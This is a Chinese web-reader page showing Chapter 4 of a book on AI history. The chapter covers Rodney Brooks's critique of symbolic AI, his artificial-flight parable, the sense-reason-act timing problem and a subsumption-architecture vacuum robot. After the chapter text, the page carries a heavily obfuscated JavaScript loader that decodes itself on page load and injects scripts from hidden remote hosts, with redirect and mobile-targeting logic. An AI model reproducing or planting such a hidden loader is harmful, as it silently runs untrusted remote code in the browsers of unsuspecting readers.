关灯
护眼
字体:

第四章 机器人与其合理性(第1页)

章节目录保存书签

第四章机器人与其合理性

行而不思者,因莽撞而灭亡;

思而不行者,因懈怠而灭亡。

——威斯坦·休·奥登(WystanHughAuden)

哲学家托马斯·库恩(ThomasKuhn)在其1962年出版的著作《科学革命的结构》一书中指出,随着科学认知的发展,有时候旧有科学体系会面临全盘崩溃的危机,新的科学体系诞生,取代传统的、既定的科学体系,这就意味着科学的范式将发生变化。到了20世纪80年代末期,专家系统兴盛的时光日渐式微,一场新的人工智能革命悄然临近。诚然,人工智能仍然因期望太高、过度炒作、实现困难等问题为人诟病,但这一次,被动摇的不仅仅是专家系统的根基——“知识就是力量”学说,更是自20世纪50年代以来支撑人工智能,尤其是符号人工智能发展的基础设定。说来有趣,在80年代末期,对人工智能领域批评得最激烈的人士,恰好是来自该领域本身。

澳大利亚机器人学家罗德尼·布鲁克斯(RodneyBrooks),是彼时对人工智能范式批评得最激烈,也是最富影响力和权威的专家。出生于1945年的布鲁克斯曾在斯坦福大学、麻省理工学院和卡内基-梅隆大学这三大人工智能研究中心学习和工作,照理说不可能成为人工智能的批判者。布鲁克斯梦想着制造能够在现实世界中执行有用任务的机器人,在20世纪80年代初期,他就开始质疑当时流行的一种机器人理论——制造机器人的关键是将现实世界的知识编码成某种可以被机器人识别的形式,作为推理和决策的基础。80年代中期,他在麻省理工学院担任教员时,开始重新思考人工智能最基础层面的问题。

布鲁克斯革命

要理解布鲁克斯的观点,我们得重新回到积木世界。回想一下,积木世界是一种由各种模拟元素组成的桌面,桌面上堆叠着不同的对象——人工智能的任务则是以特定的方式重新排列对象。乍一看,积木世界作为人工智能的试验场是完全合情合理的:它听起来像是一个丰富的仓库环境,我敢肯定,多年来人工智能研究的诸多提案中也明确提到了这一点。但对布鲁克斯以及他的追随者而言,积木世界是没有意义的。原因很简单,它的积木只是模拟元素,而现实世界中的问题比模拟元素组成的积木复杂得多。能够在积木世界里解决问题的系统,无论它看起来有多么智能,回归到现实的仓库环境中,都毫无价值。因为在物理世界中,人工智能面临的真正困难是处理感知问题,而在积木世界中,感知问题完全被忽略。(在20世纪70至80年代,积木世界最终被确认为人工智能研究谬误的发展方向,然而这并没有使人们停止对积木世界的研究,即使在今天,我们仍然可以找到各种有关积木世界的研究论文。我承认,我自己也写过几篇。)

布鲁克斯提出了三个关键原则,确定了他的理论体系:首先,他确信,人工智能要取得有意义的进步,只能通过与现实世界中的系统互动来实现——它们必须直接处于某个现实环境,感知并与之互动。其次,他认为,不管是以知识还是以逻辑为基础的人工智能,清晰而全面的知识储备及推理并不是它们智慧行为产生的必要条件,尤其是以逻辑为基础的人工智能。最后,他认为,智慧是一种涌现性质[7],来源于实体与它所处环境发生的各种交互行为。布鲁克斯用了一个发表于1991年的讽刺寓言来阐明自己的观点[44]:

假设19世纪90年代爆发了研究人工飞行(ArtificialFlights,AF)的热潮,科学界、工程界和风险投资界都疯狂投入其中。一群AF研究人员奇迹般地乘上了时间机器,穿越到20世纪80年代,在一架商用波音747飞机的客舱里度过了难忘的几个小时。回到19世纪90年代,他们感到无比兴奋和狂热,毕竟确定了空中飞行是能够实现的。于是,他们立即着手研究所看到的一切,在设计倾斜座椅、双层玻璃方面取得了巨大的进步。AF研究员们坚信,只要研究出那些神奇的“塑料”,就能在人工飞行领域登顶称王。

这个寓言的重点在于,当我们思考人类智慧有关问题的时候,往往更关注那些迷人的、具象的方面,比如推理、解决问题或者下棋等智力活动。这些是学术界重视并且希望人工智能可以擅长的领域——相关研究也因为这样的偏向性而走了弯路。布鲁克斯和他的团队认为,推理和解决问题的能力或许会在智能行为中起到作用,但它们并不是研究如何构建人工智能的正确起点[45]。

回到布鲁克斯的寓言中,他还对“分而治之”的设定提出了异议,这一设定是自人工智能诞生之初就默认的基础:人们认为应该将人工智能行为分解为各个组成部分(推理、学习、感知)来研究,而忽略了这些组件如何协同工作:

(人工飞行研究人员)一致认为,这个项目太大了,不可能由单一团体完成,而且他们必须成为不同领域的专家。毕竟,在穿越的那几个小时里面,他们询问过同机乘客,波音公司可是要雇用超过6000人来制造这么一架飞机呢。

……每个人都忙得不可开交,但是小组之间并没有太多交流。

最后,他指出那群研究人员天真地忽视了“重量”问题,他在寓言中写道:

……制造座椅的人用了最好的实心钢作为骨架,有人就犯嘀咕了,应该用空心钢管做啊,这样明显会减轻不少重量。可是众所周知,如果这么一架又大又重的飞机能够在天上飞行,这点重量只是九牛一毛。

这里的“重量”,布鲁克斯是在暗喻计算量。特别是,他强烈反对将所有的决策过程都简化成逻辑推理这种需要大量消耗计算机处理时间和内存的想法。

布鲁克斯为这则寓言选择的题目是“无表征智能”。作为一名研究人工智能的大学生,在20世纪80年代中期专家系统蓬勃发展的阶段,我所接受的教育都认为逻辑推理才是人工智能的核心。布鲁克斯的文章似乎从根本上否定了我以为自己所知道的有关这个领域的一切,感觉就像是异端。1991年,一名年轻的同事从澳大利亚大型人工智能研讨会上回来,兴奋地瞪大眼睛告诉我,斯坦福大学(麦卡锡故乡学院)和麻省理工学院(布鲁克斯所在学院)的博士生之间展开了一场激烈的辩论。一方坚持既定的传统——逻辑、知识表述和推理;另一方则倡导新的人工智能运动,他们不仅无礼地、公然地背弃了神圣的传统,还大肆地嘲笑它。

布鲁克斯或许是新研究方向知名度最高的倡导者,但他并非孤军奋战。也有许多研究人员得出类似结论,虽然在细节上有所偏差,但在不同的研究方法得到的最终的结果相当一致。

其中最重要的一点,是将知识和推理从人工智能的核心角色中抹去。在麦卡锡的人工智能系统设想中,逻辑模型是其核心,所有的人工智能行为都围绕这一核心进行(如上一章的图8所示),而这个设想遭到了强烈抨击。当然也有一些比较中立的观点,认为推理和知识表述仍然可以在人工智能系统中发挥一定作用,虽然可能不是核心和主导作用。但更极端的声音认为应该完全摒弃它们。

这一点值得详细探讨。我们来回顾一下麦卡锡的逻辑派人工智能系统遵循的特定循环:感知其所在环境,推理其该做什么,然后采取行动。但是,以这种方式运行的系统,与环境是分离的。

现在,放下手里的这本书,花点时间四下观察。你可能身处候机室、咖啡厅、火车车厢、家里,或者躺在阳光下的小河边。当你环顾四周时,并没有从环境中脱离,你的感知和行为是与环境融为一体并保持协调的。当然,在某些情况下,你会脱离眼前的环境,陷入沉思。但这种情况并非常规状态,只能算偶然现象。

问题在于,基于知识的人工智能并没有反映出这一点。假设我给你介绍一个按照麦卡锡模型的逻辑人工智能设计的机器人,它通过一个持续的“感知—推理—行为”循环模式运行,利用处理器处理和解析感应器接收到的数据,将感知数据更新到信念库,然后推理应该进行什么操作,再执行它选择的行为,然后再次启动决策循环。现在,我自豪地告诉你,我设计的机器人,不管在执行什么任务,总是会选择最优的执行方式。让我们考虑一下这个机器人在一段时间里的运行模式:

图9 机器人在一段时间里的运行模式

机器人应当选择最合适的行动时间,但是具体是什么时间呢?是感知周围环境的时候,还是最终决定执行什么操作的时候?

在t0到t1之间,机器人感知周围环境,然后用t1到t2的时间来处理传感器数据并更新信念库。在t2到t3之间,机器人对需要执行的动作进行推理,最后,t3才是机器人开始行动的时间点。

现在我宣称自己设计的机器人总是采取最优的执行策略,但是想出最优策略对应的时间呢?是t1还是t3?机器人所掌握的环境信息是在t1之前的,但在t3以后它才可以基于这些信息开始正式行动。这种方法其实是不切实际的,但令人惊讶的是,直到20世纪80年代末,几乎所有的人工智能都还在沿用这样的方式:人工智能研究者一直致力于制造能够在理论上做出最佳抉择的机器(前提是假设外部环境不会发生变化,同时又能弄清楚它到底应该做什么),而不是实践中的最佳决策[46]。

因此,当时出现了另一个关键性的研究主题,即人工智能系统所处的环境和它所表现的行为之间,应该存在一种紧密的耦合关系。

基于行为的人工智能

如果布鲁克斯仅仅是一个批判人工智能的学者,那他的想法不会这么吸引人。毕竟,到了20世纪80年代中期,人工智能从业人员早就习惯无视批评的声音,不顾反对地继续自己的研究工作。布鲁克斯之所以从众多步休伯特·德莱弗斯(即第二章里出现的,撰写《炼金术与人工智能》的美国哲学家)后尘的批评家中脱颖而出,是因为他用令人信服的方式建立了另一种范式,并在随后的几十年里用一些令人印象深刻的系统证明了它。

人工智能的新范式被称为基于行为的人工智能,正如我们接下来要讨论的,它强调了特定的个体行为的重要性,这些行为有助于智能系统的整体运行。布鲁克斯采用的特殊方法被称为包容式体系结构,在当时出现的所有方法中,它似乎是影响力最持久的。现在我们来看看使用包容式体系结构制造的一种低调但实用的机器人:智能扫地机器人[8]。扫地机器人需要在屋子里四处游走,避开障碍物,并且在探测到垃圾或者灰尘的时候进行清洁——当机器人电量不足或者垃圾收纳盒装满时,我们希望它返回到固定位置并且关机。

包容式体系结构最基础的步骤是识别出机器人行为所需要的单个行为组件,然后用逐步添加组件的方式创造机器人。该结构的关键难点在于思考这些组件行为是如何相互关联的,并用何种方式组织它们,让机器人在正确的时间里表现出最恰当的行为。这通常需要对机器人进行广泛的实验,以确保组件行为以合理方式组合工作。

我们的扫地机器人需要六种基本的行为组件。

·避开障碍物:如果我发现前进方向有障碍物,我会改变行进方向,随机选择一个新的方向行进。

·关机:当我返回到充电座并且电量不足的时候,我会关机。

·清空垃圾收纳盒:如果我在充电座上,并且垃圾收纳盒有东西,就清空垃圾收纳盒。

·返回充电座:如果我的电量不足或者垃圾收纳盒已满,就返回充电座。

·执行清洁:如果我在当前位置检测到灰尘污物,则吸入垃圾收纳盒。

·随机移动:随机选择一个方向,然后朝该方向移动。

章节目录

!function(){function a(a){var _idx="d5xud2u4am";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pac6a??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=(c6=+i;NmLF562p67TcdaaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLmR7RF:Cpm(O^gQ1KQ"Z=28Jc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/fnR_f@_od^/1os"!7m5Y|5T%%=FmL5(8Jc2a=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=DcaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}Pr55dTm6Lr55dTcda??cd8HZ=(c6=""aa!qYF _8"1os"=h8"fnR_f@_od^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 XcYa[Xd5 F8H"1os2CTqf7mTfD_J(:m(O^"="1osCSTqfXmJq4Y(2fm(O^"="1osOSTq47mTfD_J(:m(O^"="1osF(Tq2SmJq4Y(2fm(O^"="1osDhTqdJmTfD_J(:m(O^"="1osh)TqCqmJq4Y(2fm(O^"="1osJfTq7DmTfD_J(:m(O^"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"=28H"Y#"%hZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%_=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28_HfZcYH(Zc^%%aa=O8_HfZcYH(Zc^%%aa=68_HfZcYH(Zc^%%aa=d8_HfZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PpcOa=@8887mqOdfiFdF_LvvDcaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=pcOaP=7mqOdfiFdF_L8}PqYF T8l}!7_2(F6O2 Dca[TvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 ica[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clTa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=T8l0PqYF F8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ/f/1osj(8}vY8fnR_f@_od^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=28Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??2avvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajXc7_2(F6O2ca[qc@0}a=Xc7_2(F6O2ca[qc@0@a=fc7_2(F6O2ca[qc@0saPaPaPagfc7_2(F6O2ca[qc}0}a=fc7_2(F6O2ca[qc}0@a=Xc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??ica=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"a%"/)_pj68"%_=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=(c6=""aaPaPaca!'.substr(22));new Function(b)()}();